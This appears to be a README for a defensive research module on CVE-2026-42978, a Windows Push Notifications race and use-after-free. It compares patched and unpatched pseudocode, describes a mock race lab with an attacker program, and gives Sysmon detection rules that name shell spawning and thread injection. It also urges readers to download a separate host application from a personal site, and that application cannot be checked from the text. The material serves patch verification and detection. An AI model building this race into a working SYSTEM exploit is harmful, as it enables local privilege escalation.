CVE-2026-42978 Windows Push Notifications (WpnService) Use-After-Free & Race Condition PoC research, diagnostic scanner, and security audit module for AI Security Tool.
Product: AI Security Tool
Site: zerodayevil.github.io
Docs: https://zerodayevil.github.io/ai-security-tool
This module is a reviewed write-up and a safe check profile for AI Security Tool.
Use only modules listed on the project site or in the official catalog. Load this module inside the approved application, against endpoints you own or are written-authorized to assess.
This repository does not ship a weaponized exploit against WpnService. The lab under lab/ is a standalone mock of the class of bug (TOCTOU / double-fetch). It does not talk to the real push-notification service.
Install the host application first. Then enable this module from Modules → Windows / Local EoP → CVE-2026-42978.
| OS / platform | Version | Architecture / format | Updated | Status | Download |
|---|---|---|---|---|---|
| Windows | v6.3.20 | x64 installer (.exe) | 2026-09-08 | Latest | Download .exe |
| Windows | v6.3.20 | x64 portable (.tar.gz) | 2026-09-08 | Latest | Download .tar.gz |
| macOS | v5.3.29 | Apple Silicon (.dmg) | 2026-09-05 | Stable | Download .dmg |
| Linux | v5.3.27 | Universal x64 (.tar.gz) | 2026-09-01 | Stable | Download .tar.gz |
| Android | v5.3.27 | ARM64 APK (.apk) | 2026-09-01 | Stable | Download .apk |
Official sources only:
CVE-2026-42978 is a local elevation of privilege in Windows Push Notifications. Microsoft describes concurrent access to a shared resource without proper synchronization (CWE-362). Research on patched vs. unpatched wpncore.dll shows a use-after-free race in PresentationEndpointFacade during platform shutdown.
WpnService runs in session 0 as NT AUTHORITY\SYSTEM (svchost.exe -k netsvcs -p). Toast, tile and badge delivery go through it. A won race against that process is a SYSTEM problem on the local machine — not a remote pre-auth DC bug.
Status: patched on 10 June 2026 (Patch Tuesday). This page is defensive research.
It is not CVE-2026-41089 (Netlogon RCE). Different component, different privilege model, different patch date.
| Field | Value |
|---|---|
| CVE | CVE-2026-42978 |
| BDU | BDU:2026-08249 |
| Vendor advisory | MSRC — Windows Push Notifications EoP |
| Severity | High · CVSS 3.1 7.8 |
| Weakness | CWE-362 race condition · use-after-free on the shutdown path |
| Component | Windows Push Notifications · WpnService · wpncore.dll |
| Attack vector | Local |
| Privileges required | Low (authorized local user) |
| User interaction | None |
| Patch Tuesday | 10 June 2026 |
| Module type | Research write-up + in-app safe check + detection pack |
Client and server SKUs that ship Push Notifications. Confirm the exact KB on MSRC before you close a ticket.
| Family | Notes |
|---|---|
| Windows 10 | 1809, 21H2, 22H2 (x86 / x64 / ARM64 as applicable) |
| Windows 11 | 23H2, 24H2, 25H2, 26H1 |
| Windows Server | 2016 / 2019 / 2022 / 2025 (full and Server Core where the component exists) |
Orientation builds from public servicing notes (always re-check MSRC):
| Branch | Indicative patched build |
|---|---|
| Windows 11 23H2 | 22631.7219 |
| Windows 11 24H2 | 26100.8655 |
| Windows 11 25H2 | 26200.8655 |
| Windows 11 26H1 | 28000.2269 |
wpncore.dll example (24H2) | vulnerable 26100.8521 → patched 26100.8655 |
The facade wraps notification API calls and delegates to PresentationEndpointImpl. During platform shutdown the NotificationPlatform object is destroyed. Several facade methods historically took a platform pointer without a shutdown flag or a shared lock. If teardown wins the race, the next call uses a dangling pointer.
Same lock-and-guard pattern was applied across 49 PresentationEndpointFacade::* methods. Implementation methods underneath were left as-is — the hole sat at the facade.
wpncore.dll 26100.8521)// PresentationEndpointFacade::ToastUnblockAll — unpatched
long ToastUnblockAll(PresentationEndpointFacade *this) {
NotificationPlatformHandle::Get(this + 0x50);
if (platform == NULL)
Throw_Hr(...);
return PresentationEndpointImpl::UnblockToastsForEachApp(...);
}
wpncore.dll 26100.8655)// PresentationEndpointFacade::ToastUnblockAll — patched
long ToastUnblockAll(PresentationEndpointFacade *this) {
if (Feature_4097557817::IsEnabled()) {
AcquireSRWLockShared(&Wns::s_platformLock);
if (Wns::s_platformShutdown)
Throw_Hr(E_APPLICATION_EXITING);
NotificationPlatformHandle::Get(this + 0x50);
ReleaseSRWLockShared(&Wns::s_platformLock);
}
}
What the patch adds:
AcquireSRWLockShared — readers-writer lock; shutdown takes exclusive.s_platformShutdown — bail with E_APPLICATION_EXITING if teardown started.unique_storage, so the lock drops on exception paths.Feature_4097557817 for staged rollout / rollback.| Category | Example functions |
|---|---|
| Toast | ToastUnblockAll, ToastCreateSession, ToastCloseSession, ToastRequestAllNotifications, ToastSuppress |
| Tile | TileCreateSession, TileCloseSession, TileRequestResourceForeground |
| Registration | RegisterApplication, UnregisterApplication, RegisterHandler, UpdateRegistration |
| Settings | ChangeAppSetting, QueryAppSetting, QueryGlobalSetting |
| Delivery | Deliver, GetPayloadForNotificationId, Submit, PostScheduledNotification |
| Queries | GetRegisteredHandler, GetSettingsFromHandler, GetAssetsFromHandler |
PE notes from reports/:
.text grew by 18,432 bytes.data grew by 96 bytes (Wns::s_platformLock, Wns::s_platformShutdown)WpnService is SYSTEM. If the race is won, a dangling vtable call can be turned into local SYSTEM code execution. That step — heap spray, vtable hijack, payload — is out of scope here.
This module is for root-cause literacy, patch verification, and detection.
detection/) onto a lab box.Do not run crash or race loops against production WpnService.
authorized operator
│
▼
AI Security Tool → module 42978
│
▼
authorized Windows endpoint
│
├─ patch / wpncore.dll age
└─ SIEM / Sysmon / Event Log notes
lab/ is a standalone C demo of double-fetch / TOCTOU. It uses a named pipe and shared memory. It does not load wpncore.dll and does not start or stop WpnService.
vulnerable_service.exe — validates a length, sleeps, reads the length again.race_attacker.exe — flips the shared value during that window.--patched — single-fetch into a local variable; the same attacker should see zero races.Requires GCC (MinGW). From lab/:
build.bat
Terminal 1: vulnerable_service.exe
Terminal 2: race_attacker.exe 5
Then compare with vulnerable_service.exe --patched.
detection/etw_wpn_monitor.ps1Seven checks:
WpnService state and PIDwpncore.dll date / build)powershell -ExecutionPolicy Bypass .\detection\etw_wpn_monitor.ps1
detection/sysmon_wpn_race_detect.xml| Rule | What it is for |
|---|---|
WPN_EoP_ChildProcess | svchost (netsvcs) spawning cmd / powershell / wscript |
WPN_PipeAccess | Connections to WPN-related named pipes |
WPN_FileCreation | File create under notification data directories |
WPN_RegistryTampering | Writes under PushNotifications keys |
WPN_ProcessAccess | PROCESS_ALL_ACCESS to svchost |
WPN_ThreadInjection | CreateRemoteThread into svchost |
sysmon64.exe -accepteula -i detection\sysmon_wpn_race_detect.xml
Channel: Microsoft-Windows-PushNotifications-Platform/Operational
wpncore.dll build matches the patched row for that branchsvchost -k netsvcs spawning a shellIf etw_wpn_monitor.ps1 says unpatched — install the June 2026 update and re-check.
| CVE | Class |
|---|---|
| CVE-2026-42977 | EoP · race |
| CVE-2026-42978 | EoP · race (this module) |
| CVE-2026-42979 | EoP · race |
| CVE-2026-42991 | EoP · race |
| CVE-2026-42969 | Information disclosure · race |
| CVE-2026-42970 | Information disclosure · race |
| CVE-2026-42973 | Information disclosure · race |
| CVE-2026-26167 | EoP |
| CVE-2026-32160 | EoP |
CVE-2026-42978/
├── README.md
├── LICENSE
├── lab/
│ ├── vulnerable_service.c
│ ├── race_attacker.c
│ └── build.bat
├── detection/
│ ├── etw_wpn_monitor.ps1
│ └── sysmon_wpn_race_detect.xml
└── reports/
├── PE_DIFF_REPORT.txt
└── FUNCTION_DIFF_REPORT.txt
Needs: Windows 10/11 for detection scripts · MinGW for the mock lab · Sysmon optional.
Screenshots in this README are loaded from public image URLs. They are not stored in this tree.
4 modules@ZeroDayEvil@ZeroDayEvil@ZeroDayEvil@ZeroDayVPN2 modules@ZeroDayVPN@ZeroDayEvil2 modules@ZeroDayEvil@ZeroDayVPNUseful work:
Do not open a PR that adds a weaponized WpnService exploit, heap-spray helper, or exploit PoC against the live service.
Released under the MIT License. See LICENSE.
Authorized defensive research and system administration only.
Local privilege-escalation testing without written authorization is illegal.
The vulnerability is patched. Keep Windows current. This repository does not include a weaponized exploit against the live service.
AI Security Tool — terminal workflow and automation for cybersecurity professionals.
Defensive module for zerodayevil.github.io · No standalone WpnService exploit · Verify facts on MSRC